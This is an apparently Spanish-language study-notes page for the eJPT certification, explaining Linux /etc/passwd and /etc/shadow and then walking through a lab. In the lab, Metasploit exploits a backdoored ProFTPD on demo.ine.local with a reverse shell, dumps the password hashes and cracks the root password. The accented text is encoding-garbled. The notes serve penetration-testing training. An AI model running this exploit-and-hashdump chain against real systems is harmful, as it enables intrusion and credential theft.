> For the complete documentation index, see [llms.txt](https://4lec4st.gitbook.io/4lec4st/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://4lec4st.gitbook.io/4lec4st/ejpt-notes/pruebas-de-penetracion-de-host-y-red/ataques-basados-en-sistema-host/linux/volcado-de-credenciales-de-linux/volcado-de-hashes-de-contrasenas-en-linux.md).
# Volcado de hashes de contrase帽as en Linux
## 馃懃 Multiusuario en Linux
* Linux est谩 dise帽ado para **soportar m煤ltiples usuarios**, lo que permite que varias personas se conecten simult谩neamente al mismo sistema.
* Desde una perspectiva de seguridad, esto puede representar un riesgo ya que **m谩s usuarios = m谩s vectores de ataque** para un potencial atacante.
***
馃搧 Archivos importantes para la autenticaci贸n
**`/etc/passwd`**
* Contiene **informaci贸n sobre todos los usuarios** del sistema.
* Es **legible por cualquier usuario**.
* No almacena contrase帽as directamente, sino que apunta a d贸nde se almacenan (en el archivo shadow).
**`/etc/shadow`**
* Contiene los **hashes de las contrase帽as** de los usuarios.
* **Solo accesible por el usuario root**.
* Esto protege los hashes de accesos no autorizados por parte de usuarios sin privilegios.
***
## 馃攳 Estructura de un hash de contrase帽a
Los hashes en el archivo `/etc/shadow` incluyen informaci贸n que nos permite identificar el algoritmo usado para generar la contrase帽a. Se identifica por el n煤mero entre signos de d贸lar (`$`):
| Valor | Algoritmo de Hash |
| ----- | ----------------- |
| `$1` | MD5 |
| `$2` | Blowfish |
| `$5` | SHA-256 |
| `$6` | SHA-512 |
***
## 馃И Laboratorio Pr谩ctico
**Paso 1:** Abra el enlace del laboratorio para acceder a la m谩quina Kali.
**Paso 2:** Verifique si la m谩quina de destino es accesible:
**Dominio:**
```
ping -c 4 demo.ine.local
```
El objetivo es alcanzable.
**Paso 3:** Ejecute un escaneo nmap contra el objetivo:
**Dominio:**
```
nmap -sS -sV demo.ine.local
```
**Paso 4:** Hemos detectado un servidor proftpd 1.3.3c ejecut谩ndose en la m谩quina objetivo. Ejecutaremos el script nmap vuln para identificar la vulnerabilidad.
**Dominio:**
```
nmap --script vuln -p 21 demo.ine.local
```
La instalaci贸n de destino proftpd ha estado ejecutando una versi贸n con puerta trasera.
**Paso 5:** Iniciaremos el servidor de base de datos PostgreSQL en la m谩quina atacante. Iniciaremos PostgreSQL para almacenar todo el bot铆n de Metasploit y otra informaci贸n confidencial de la m谩quina objetivo.
**Dominio:**
```
/etc/init.d/postgresql start
```
**Paso 6:** Hemos iniciado el servidor de base de datos PostgreSQL. Inicie Metasploit y explote el servidor Proftpd usando el m贸dulo exploit/unix/ftp/proftpd\_133c\_backdoor.
Aseg煤rese de reemplazar LHOST con la direcci贸n IP de la m谩quina atacante.
**Comandos:**
```
msfconsole -q
use exploit/unix/ftp/proftpd_133c_backdoor
set payload payload/cmd/unix/reverse
set RHOSTS demo.ine.local
set LHOST 192.70.114.2
exploit -z
```
**Paso 7:** Hemos explotado el servidor FTP objetivo. Utilizaremos un m贸dulo de postexplotaci贸n para volcar los hashes de los usuarios del sistema.
**Comandos:**
```
use post/linux/gather/hashdump
set SESSION 1
exploit
```
**Paso 8:** Ejecute el m贸dulo auxiliar proporcionado para encontrar la contrase帽a de texto simple del usuario root.
**Dominio:**
```
use auxiliary/analyze/crack_linux
set SHA512 true
run
```
Esto nos revela la bandera.
**Bandera:** password
#### Conclusi贸n
En este laboratorio, explotamos una aplicaci贸n vulnerable, realizamos un volcado de hash y tambi茅n desciframos el hash, todo mediante m贸dulos de metasploit.
#### Referencias
* M贸dulos de Metasploit
*
*
*
* [Proftpd con puerta trasera](https://www.aldeid.com/wiki/Exploits/proftpd-1.3.3c-backdoor)